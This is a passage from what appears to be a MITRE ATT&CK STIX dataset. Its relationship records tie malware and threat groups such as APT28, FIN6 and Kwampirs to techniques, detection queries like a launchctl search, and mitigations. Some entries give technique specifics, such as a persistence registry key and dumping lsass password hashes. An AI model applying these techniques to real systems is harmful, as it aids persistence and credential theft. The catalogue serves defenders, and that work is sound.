Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.376Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses HTTP/HTTPS for command and control communication.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56b8f3d1-c08e-42a1-8d14-b961391eaaa7","type":"relationship","created":"2021-07-02T15:51:31.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T15:51:31.189Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can create and register a service for execution.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56c41e3f-3d8f-4f36-9885-955952e700db","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) creates a new service named WmiApSrvEx to establish persistence.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.570Z","description":"[APT3](https://attack.mitre.org/groups/G0022) obfuscates files or information to help evade defensive measures.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56cf4996-1a39-483f-b32a-94874228ec06","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Mandiant URL Obfuscation 2023","description":"Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.575Z","description":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:00.564Z","description":"[APT28](https://attack.mitre.org/groups/G0007) uses a module to receive a notification every time a USB mass storage device is inserted into a victim.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56d37b60-03e0-4aac-b106-0350c2a4ec46","type":"relationship","created":"2021-05-03T19:55:04.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}],"modified":"2021-06-02T16:31:56.168Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious email attachments.(Citation: ClearSky Kittens Back 3 August 2020)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56d55fa0-fbb3-4630-b33b-342c0fa146e7","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:02:46.534Z","description":"Monitor the execution of the ```launchctl``` command, focusing on subcommands such as ```load```, ```unload```, and ```start``` that may be used by adversaries to load Launch Agents or Launch Daemons.\n\nNote: This analytic monitors the execution of the launchctl command and its key subcommands. Exclude known administrative users to minimize false positives.\n\nAnalytic 1 - Suspicious Launchctl\n\nsourcetype=macOS:unified OR sourcetype=osquery OR sourcetype=auditd\n| search command IN (\"launchctl load\", \"launchctl unload\", \"launchctl start\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56d858ef-2d62-4aa9-b050-699de9b048e9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) has a command to download a file from the C2 server to the victim mobile device's SD card.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56d8c364-ef22-485c-961f-e3c9782cc6df","type":"relationship","created":"2021-05-06T14:54:26.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T14:54:26.292Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can execute shell commands on a compromised host.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e0b679-1c1b-4c82-9346-bde619c21117","type":"relationship","created":"2021-02-22T19:40:23.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:10:50.033Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can inject decrypted shellcode into the LanmanServer service.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e2010e-20d2-4484-b8ee-742b81b8fcdb","type":"relationship","created":"2021-06-21T15:13:02.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T15:13:02.734Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) can check for specific processes associated with virtual environments.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-19T23:23:52.845Z","description":"[Lslsass](https://attack.mitre.org/software/S0121) can dump active logon session password hashes from the lsass process.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"tool--2fab555f-7664-4623-b4e0-1675ae38190b","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e4717c-33ac-4d7e-a737-71aa520af93e","type":"relationship","created":"2020-06-10T20:26:53.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.396Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to list running processes on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e4bdb5-a57a-463a-a396-7bed2eb6893e","type":"relationship","created":"2020-07-28T18:16:41.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-28T18:16:41.740Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created admin accounts on a compromised host.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56e55812-7622-4e84-96c6-6fc46dd2b541","type":"relationship","created":"2019-02-12T18:20:09.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-20T18:10:10.513Z","description":"[Denis](https://attack.mitre.org/software/S0354) encodes the data sent to the server in Base64.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56ec7ed1-99a1-44bf-8106-d3c23ce16dc8","created":"2022-10-13T14:17:22.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:03:49.874Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has created the `HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\\\InprocServer32` Registry key for persistence.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56efe93d-938a-4cad-ab2a-ff43a1f6e266","type":"relationship","created":"2021-03-29T17:06:22.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:06:58.912Z","description":"Limit privileges of user accounts and remediate privilege escalation vectors so only authorized administrators can create container orchestration jobs.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56f08580-ffab-4c02-8702-adbe4de12a6a","created":"2024-01-22T21:45:42.132Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T21:45:42.132Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56f2efc6-fb22-47f9-a86f-db5c69224936","created":"2022-03-04T18:30:39.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA MFA PrintNightmare","description":"Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"},{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"Microsoft - Device Registration","description":"Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:25:46.124Z","description":"Require multi-factor authentication to register devices in Entra ID.(Citation: Microsoft - Device Registration) Configure multi-factor authentication systems to disallow enrolling new devices for inactive accounts.(Citation: CISA MFA PrintNightmare) When first enrolling MFA, use conditional access policies to restrict device enrollment to trusted locations or devices, and consider using temporary access passes as an initial MFA solution to enroll a device.(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--56f3245a-b7dc-46a5-8454-7476e03fe772","created":"2022-06-09T19:00:55.512Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used the command `timeout 20` to pause the execution of its initial loader.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:00:55.512Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef","type":"relationship","created":"2019-06-24T13:38:13.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2022-03-08T21:11:48.078Z","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.(Citation: Windows Blogs Microsoft Edge Sandbox)(Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.(Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56f53206-d15a-4b4d-8391-9d5dd5e0e403","type":"relationship","created":"2020-03-19T22:55:47.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN6 April 2016","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"},{"source_name":"FireEye FIN6 Apr 2019","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019."}],"modified":"2020-03-19T22:55:47.101Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit’s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56f587e1-d7c3-4489-945e-58c4ee3e4ba7","type":"relationship","created":"2019-01-31T01:07:58.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.311Z","description":"(Citation: TrendMicro MacOS April 2018)(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56f73ea6-f7ba-4226-bbf9-55e904843e31","type":"relationship","created":"2022-03-25T15:24:08.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IronNet BlackTech Oct 2021","url":"https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape","description":"Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022."}],"modified":"2022-03-25T15:24:08.713Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used built-in API functions.(Citation: IronNet BlackTech Oct 